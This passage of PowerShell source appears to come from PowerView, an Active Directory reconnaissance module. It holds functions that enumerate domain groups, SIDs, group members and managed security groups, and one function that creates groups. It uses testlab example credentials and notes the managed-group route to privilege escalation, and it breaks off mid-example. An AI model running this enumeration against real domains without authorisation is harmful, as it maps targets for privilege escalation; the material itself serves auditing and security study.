"[Get-DomainSubnet] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + $SubnetSearcher.filter = "(&(objectCategory=subnet)$Filter)" + Write-Verbose "[Get-DomainSubnet] Get-DomainSubnet filter string: $($SubnetSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $SubnetSearcher.FindOne() } + else { $Results = $SubnetSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Subnet = $_ + } + else { + $Subnet = Convert-LDAPProperty -Properties $_.Properties + } + $Subnet.PSObject.TypeNames.Insert(0, 'PowerView.Subnet') + + if ($PSBoundParameters['SiteName']) { + # have to do the filtering after the LDAP query as LDAP doesn't let you specify + # wildcards for 'siteobject' :( + if ($Subnet.properties -and ($Subnet.properties.siteobject -like "*$SiteName*")) { + $Subnet + } + elseif ($Subnet.siteobject -like "*$SiteName*") { + $Subnet + } + } + else { + $Subnet + } + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainSubnet] Error disposing of the Results object: $_" + } + } + $SubnetSearcher.dispose() + } + } +} + + +function Get-DomainSID { +<# +.SYNOPSIS + +Returns the SID for the current domain or the specified domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer + +.DESCRIPTION + +Returns the SID for the current domain or the specified domain by executing +Get-DomainComputer with the -LDAPFilter set to (userAccountControl:1.2.840.113556.1.4.803:=8192) +to search for domain controllers through LDAP. The SID of the returned domain controller +is then extracted. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainSID + +.EXAMPLE + +Get-DomainSID -Domain testlab.local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainSID -Credential $Cred + +.OUTPUTS + +String + +A string representing the specified domain SID. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([String])] + [CmdletBinding()] + Param( + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $SearcherArguments = @{ + 'LDAPFilter' = '(userAccountControl:1.2.840.113556.1.4.803:=8192)' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + $DCSID = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 -ExpandProperty objectsid + + if ($DCSID) { + $DCSID.SubString(0, $DCSID.LastIndexOf('-')) + } + else { + Write-Verbose "[Get-DomainSID] Error extracting domain SID for '$Domain'" + } +} + + +function Get-DomainGroup { +<# +.SYNOPSIS + +Return all groups or specific group objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-DomainObject, Convert-ADName, Convert-LDAPProperty + +.DESCRIPTION + +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties samaccountname,usnchanged,...". By default, all group objects for +the current domain are returned. To return the groups a specific user/group is +a part of, use -MemberIdentity X to execute token groups enumeration. + +.PARAMETER Identity + +A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) +specifying the group to query for. Wildcards accepted. + +.PARAMETER MemberIdentity + +A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) +specifying the user/group member to query for group membership. + +.PARAMETER AdminCount + +Switch. Return users with '(adminCount=1)' (meaning are/were privileged). + +.PARAMETER GroupScope + +Specifies the scope (DomainLocal, Global, or Universal) of the group(s) to search for. +Also accepts NotDomainLocal, NotGloba, and NotUniversal as negations. + +.PARAMETER GroupProperty + +Specifies a specific property to search for when performing the group search. +Possible values are Security, Distribution, CreatedBySystem, and NotCreatedBySystem. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Get-DomainGroup | select samaccountname + +samaccountname +-------------- +WinRMRemoteWMIUsers__ +Administrators +Users +Guests +Print Operators +Backup Operators +... + +.EXAMPLE + +Get-DomainGroup *admin* | select distinguishedname + +distinguishedname +----------------- +CN=Administrators,CN=Builtin,DC=testlab,DC=local +CN=Hyper-V Administrators,CN=Builtin,DC=testlab,DC=local +CN=Schema Admins,CN=Users,DC=testlab,DC=local +CN=Enterprise Admins,CN=Users,DC=testlab,DC=local +CN=Domain Admins,CN=Users,DC=testlab,DC=local +CN=DnsAdmins,CN=Users,DC=testlab,DC=local +CN=Server Admins,CN=Users,DC=testlab,DC=local +CN=Desktop Admins,CN=Users,DC=testlab,DC=local + +.EXAMPLE + +Get-DomainGroup -Properties samaccountname -Identity 'S-1-5-21-890171859-3433809279-3366196753-1117' | fl + +samaccountname +-------------- +Server Admins + +.EXAMPLE + +'CN=Desktop Admins,CN=Users,DC=testlab,DC=local' | Get-DomainGroup -Server primary.testlab.local -Verbose +VERBOSE: Get-DomainSearcher search string: LDAP://DC=testlab,DC=local +VERBOSE: Get-DomainGroup filter string: (&(objectCategory=group)(|(distinguishedname=CN=DesktopAdmins,CN=Users,DC=testlab,DC=local))) + +usncreated : 13245 +grouptype : -2147483646 +samaccounttype : 268435456 +samaccountname : Desktop Admins +whenchanged : 8/10/2016 12:30:30 AM +objectsid : S-1-5-21-890171859-3433809279-3366196753-1118 +objectclass : {top, group} +cn : Desktop Admins +usnchanged : 13255 +dscorepropagationdata : 1/1/1601 12:00:00 AM +name : Desktop Admins +distinguishedname : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +member : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local +whencreated : 8/10/2016 12:29:43 AM +instancetype : 4 +objectguid : f37903ed-b333-49f4-abaa-46c65e9cca71 +objectcategory : CN=Group,CN=Schema,CN=Configuration,DC=testlab,DC=local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGroup -Credential $Cred + +.EXAMPLE + +Get-Domain | Select-Object -Expand name +testlab.local + +'DEV\Domain Admins' | Get-DomainGroup -Verbose -Properties distinguishedname +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainGroup] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins' +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: [Get-DomainGroup] filter string: (&(objectCategory=group)(|(samAccountName=Domain Admins))) + +distinguishedname +----------------- +CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local + +.OUTPUTS + +PowerView.Group + +Custom PSObject with translated group property fields. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [OutputType('PowerView.Group')] + [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [Alias('UserName')] + [String] + $MemberIdentity, + + [Switch] + $AdminCount, + + [ValidateSet('DomainLocal', 'NotDomainLocal', 'Global', 'NotGlobal', 'Universal', 'NotUniversal')] + [Alias('Scope')] + [String] + $GroupScope, + + [ValidateSet('Security', 'Distribution', 'CreatedBySystem', 'NotCreatedBySystem')] + [String] + $GroupProperty, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $GroupSearcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + if ($GroupSearcher) { + if ($PSBoundParameters['MemberIdentity']) { + + if ($SearcherArguments['Properties']) { + $OldProperties = $SearcherArguments['Properties'] + } + + $SearcherArguments['Identity'] = $MemberIdentity + $SearcherArguments['Raw'] = $True + + Get-DomainObject @SearcherArguments | ForEach-Object { + # convert the user/group to a directory entry + $ObjectDirectoryEntry = $_.GetDirectoryEntry() + + # cause the cache to calculate the token groups for the user/group + $ObjectDirectoryEntry.RefreshCache('tokenGroups') + + $ObjectDirectoryEntry.TokenGroups | ForEach-Object { + # convert the token group sid + $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value + + # ignore the built in groups + if ($GroupSid -notmatch '^S-1-5-32-.*') { + $SearcherArguments['Identity'] = $GroupSid + $SearcherArguments['Raw'] = $False + if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties } + $Group = Get-DomainObject @SearcherArguments + if ($Group) { + $Group.PSObject.TypeNames.Insert(0, 'PowerView.Group') + $Group + } + } + } + } + } + else { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^CN=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainGroup] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $GroupSearcher = Get-DomainSearcher @SearcherArguments + if (-not $GroupSearcher) { + Write-Warning "[Get-DomainGroup] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + elseif ($IdentityInstance.Contains('\')) { + $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical + if ($ConvertedIdentityInstance) { + $GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) + $GroupName = $IdentityInstance.Split('\')[1] + $IdentityFilter += "(samAccountName=$GroupName)" + $SearcherArguments['Domain'] = $GroupDomain + Write-Verbose "[Get-DomainGroup] Extracted domain '$GroupDomain' from '$IdentityInstance'" + $GroupSearcher = Get-DomainSearcher @SearcherArguments + } + } + else { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))" + } + } + + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['AdminCount']) { + Write-Verbose '[Get-DomainGroup] Searching for adminCount=1' + $Filter += '(admincount=1)' + } + if ($PSBoundParameters['GroupScope']) { + $GroupScopeValue = $PSBoundParameters['GroupScope'] + $Filter = Switch ($GroupScopeValue) { + 'DomainLocal' { '(groupType:1.2.840.113556.1.4.803:=4)' } + 'NotDomainLocal' { '(!(groupType:1.2.840.113556.1.4.803:=4))' } + 'Global' { '(groupType:1.2.840.113556.1.4.803:=2)' } + 'NotGlobal' { '(!(groupType:1.2.840.113556.1.4.803:=2))' } + 'Universal' { '(groupType:1.2.840.113556.1.4.803:=8)' } + 'NotUniversal' { '(!(groupType:1.2.840.113556.1.4.803:=8))' } + } + Write-Verbose "[Get-DomainGroup] Searching for group scope '$GroupScopeValue'" + } + if ($PSBoundParameters['GroupProperty']) { + $GroupPropertyValue = $PSBoundParameters['GroupProperty'] + $Filter = Switch ($GroupPropertyValue) { + 'Security' { '(groupType:1.2.840.113556.1.4.803:=2147483648)' } + 'Distribution' { '(!(groupType:1.2.840.113556.1.4.803:=2147483648))' } + 'CreatedBySystem' { '(groupType:1.2.840.113556.1.4.803:=1)' } + 'NotCreatedBySystem' { '(!(groupType:1.2.840.113556.1.4.803:=1))' } + } + Write-Verbose "[Get-DomainGroup] Searching for group property '$GroupPropertyValue'" + } + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainGroup] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + $GroupSearcher.filter = "(&(objectCategory=group)$Filter)" + Write-Verbose "[Get-DomainGroup] filter string: $($GroupSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $GroupSearcher.FindOne() } + else { $Results = $GroupSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Group = $_ + } + else { + $Group = Convert-LDAPProperty -Properties $_.Properties + } + $Group.PSObject.TypeNames.Insert(0, 'PowerView.Group') + $Group + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainGroup] Error disposing of the Results object" + } + } + $GroupSearcher.dispose() + } + } + } +} + + +function New-DomainGroup { +<# +.SYNOPSIS + +Creates a new domain group (assuming appropriate permissions) and returns the group object. + +TODO: implement all properties that New-ADGroup implements (https://technet.microsoft.com/en-us/library/ee617253.aspx). + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext + +.DESCRIPTION + +First binds to the specified domain context using Get-PrincipalContext. +The bound domain context is then used to create a new +DirectoryServices.AccountManagement.GroupPrincipal with the specified +group properties. + +.PARAMETER SamAccountName + +Specifies the Security Account Manager (SAM) account name of the group to create. +Maximum of 256 characters. Mandatory. + +.PARAMETER Name + +Specifies the name of the group to create. If not provided, defaults to SamAccountName. + +.PARAMETER DisplayName + +Specifies the display name of the group to create. If not provided, defaults to SamAccountName. + +.PARAMETER Description + +Specifies the description of the group to create. + +.PARAMETER Domain + +Specifies the domain to use to search for user/group principals, defaults to the current domain. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +New-DomainGroup -SamAccountName TestGroup -Description 'This is a test group.' + +Creates the 'TestGroup' group with the specified description. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +New-DomainGroup -SamAccountName TestGroup -Description 'This is a test group.' -Credential $Cred + +Creates the 'TestGroup' group with the specified description using the specified alternate credentials. + +.OUTPUTS + +DirectoryServices.AccountManagement.GroupPrincipal +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('DirectoryServices.AccountManagement.GroupPrincipal')] + Param( + [Parameter(Mandatory = $True)] + [ValidateLength(0, 256)] + [String] + $SamAccountName, + + [ValidateNotNullOrEmpty()] + [String] + $Name, + + [ValidateNotNullOrEmpty()] + [String] + $DisplayName, + + [ValidateNotNullOrEmpty()] + [String] + $Description, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $ContextArguments = @{ + 'Identity' = $SamAccountName + } + if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } + if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } + $Context = Get-PrincipalContext @ContextArguments + + if ($Context) { + $Group = New-Object -TypeName System.DirectoryServices.AccountManagement.GroupPrincipal -ArgumentList ($Context.Context) + + # set all the appropriate group parameters + $Group.SamAccountName = $Context.Identity + + if ($PSBoundParameters['Name']) { + $Group.Name = $Name + } + else { + $Group.Name = $Context.Identity + } + if ($PSBoundParameters['DisplayName']) { + $Group.DisplayName = $DisplayName + } + else { + $Group.DisplayName = $Context.Identity + } + + if ($PSBoundParameters['Description']) { + $Group.Description = $Description + } + + Write-Verbose "[New-DomainGroup] Attempting to create group '$SamAccountName'" + try { + $Null = $Group.Save() + Write-Verbose "[New-DomainGroup] Group '$SamAccountName' successfully created" + $Group + } + catch { + Write-Warning "[New-DomainGroup] Error creating group '$SamAccountName' : $_" + } + } +} + + +function Get-DomainManagedSecurityGroup { +<# +.SYNOPSIS + +Returns all security groups in the current (or target) domain that have a manager set. + +Author: Stuart Morgan (@ukstufus) , Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject, Get-DomainGroup, Get-DomainObjectAcl + +.DESCRIPTION + +Authority to manipulate the group membership of AD security groups and distribution groups +can be delegated to non-administrators by setting the 'managedBy' attribute. This is typically +used to delegate management authority to distribution groups, but Windows supports security groups +being managed in the same way. + +This function searches for AD groups which have a group manager set, and determines whether that +user can manipulate group membership. This could be a useful method of horizontal privilege +escalation, especially if the manager can manipulate the membership of a privileged group. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainManagedSecurityGroup | Export-PowerViewCSV -NoTypeInformation group-managers.csv + +Store a list of all security groups with managers in group-managers.csv + +.OUTPUTS + +PowerView.ManagedSecurityGroup + +A custom PSObject describing the managed security group. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ManagedSecurityGroup')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{ + 'LDAPFilter' = '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))' + 'Properties' = 'distinguishedName,managedBy,samaccounttype,samaccountname' + } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + } + + PROCESS { + if ($PSBoundParameters['Domain']) { + $SearcherArguments['Domain'] = $Domain + $TargetDomain = $Domain + } + else { + $TargetDomain = $Env:USERDNSDOMAIN + } + + # go through the list of security groups on the domain and identify those who have a manager + Get-DomainGroup @SearcherArguments | ForEach-Object { + $SearcherArguments['Properties'] = 'distinguishedname,name,samaccounttype,samaccountname,objectsid' + $SearcherArguments['Identity'] = $_.managedBy + $Null = $SearcherArguments.Remove('LDAPFilter') + + # $SearcherArguments + # retrieve the object that the managedBy DN refers to + $GroupManager = Get-DomainObject @SearcherArguments + # Write-Host "GroupManager: $GroupManager" + $ManagedGroup = New-Object PSObject + $ManagedGroup | Add-Member Noteproperty 'GroupName' $_.samaccountname + $ManagedGroup | Add-Member Noteproperty 'GroupDistinguishedName' $_.distinguishedname + $ManagedGroup | Add-Member Noteproperty 'ManagerName' $GroupManager.samaccountname + $ManagedGroup | Add-Member Noteproperty 'ManagerDistinguishedName' $GroupManager.distinguishedName + + # determine whether the manager is a user or a group + if ($GroupManager.samaccounttype -eq 0x10000000) { + $ManagedGroup | Add-Member Noteproperty 'ManagerType' 'Group' + } + elseif ($GroupManager.samaccounttype -eq 0x30000000) { + $ManagedGroup | Add-Member Noteproperty 'ManagerType' 'User' + } + + $ACLArguments = @{ + 'Identity' = $_.distinguishedname + 'RightsFilter' = 'WriteMembers' + } + if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential } + + # # TODO: correct! + # # find the ACLs that relate to the ability to write to the group + # $xacl = Get-DomainObjectAcl @ACLArguments -Verbose + # # $ACLArguments + # # double-check that the manager + # if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AceType -eq 'AccessAllowed' -and ($xacl.ObjectSid -eq $GroupManager.objectsid)) { + # $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $True + # } + # else { + # $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $False + # } + + $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' 'UNKNOWN' + + $ManagedGroup.PSObject.TypeNames.Insert(0, 'PowerView.ManagedSecurityGroup') + $ManagedGroup + } + } +} + + +function Get-DomainGroupMember { +<# +.SYNOPSIS + +Return the members of a specific domain group. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-DomainGroup, Get-DomainGroupMember, Convert-ADName, Get-DomainObject, ConvertFrom-SID + +.DESCRIPTION + +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for the specified +group matching the criteria. Each result is then rebound and the full user +or group object is returned. + +.PARAMETER Identity + +A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) +specifying the group to query for. Wildcards accepted. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER Recurse + +Switch. If the group member is a group, recursively try to query its members as well. + +.PARAMETER RecurseUsingMatchingRule + +Switch. Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query to recurse. +Much faster than manual recursion, but doesn't reveal cross-domain groups, +and only returns user accounts (no nested group objects themselves). + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainGroupMember "Desktop Admins" + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : Testing Group +MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local +MemberObjectClass : group +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129 + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : arobbins.a +MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 + +.EXAMPLE + +'Desktop Admins' | Get-DomainGroupMember -Recurse + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : Testing Group +MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local +MemberObjectClass : group +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129 + +GroupDomain : testlab.local +GroupName : Testing Group +GroupDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : harmj0y +MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : 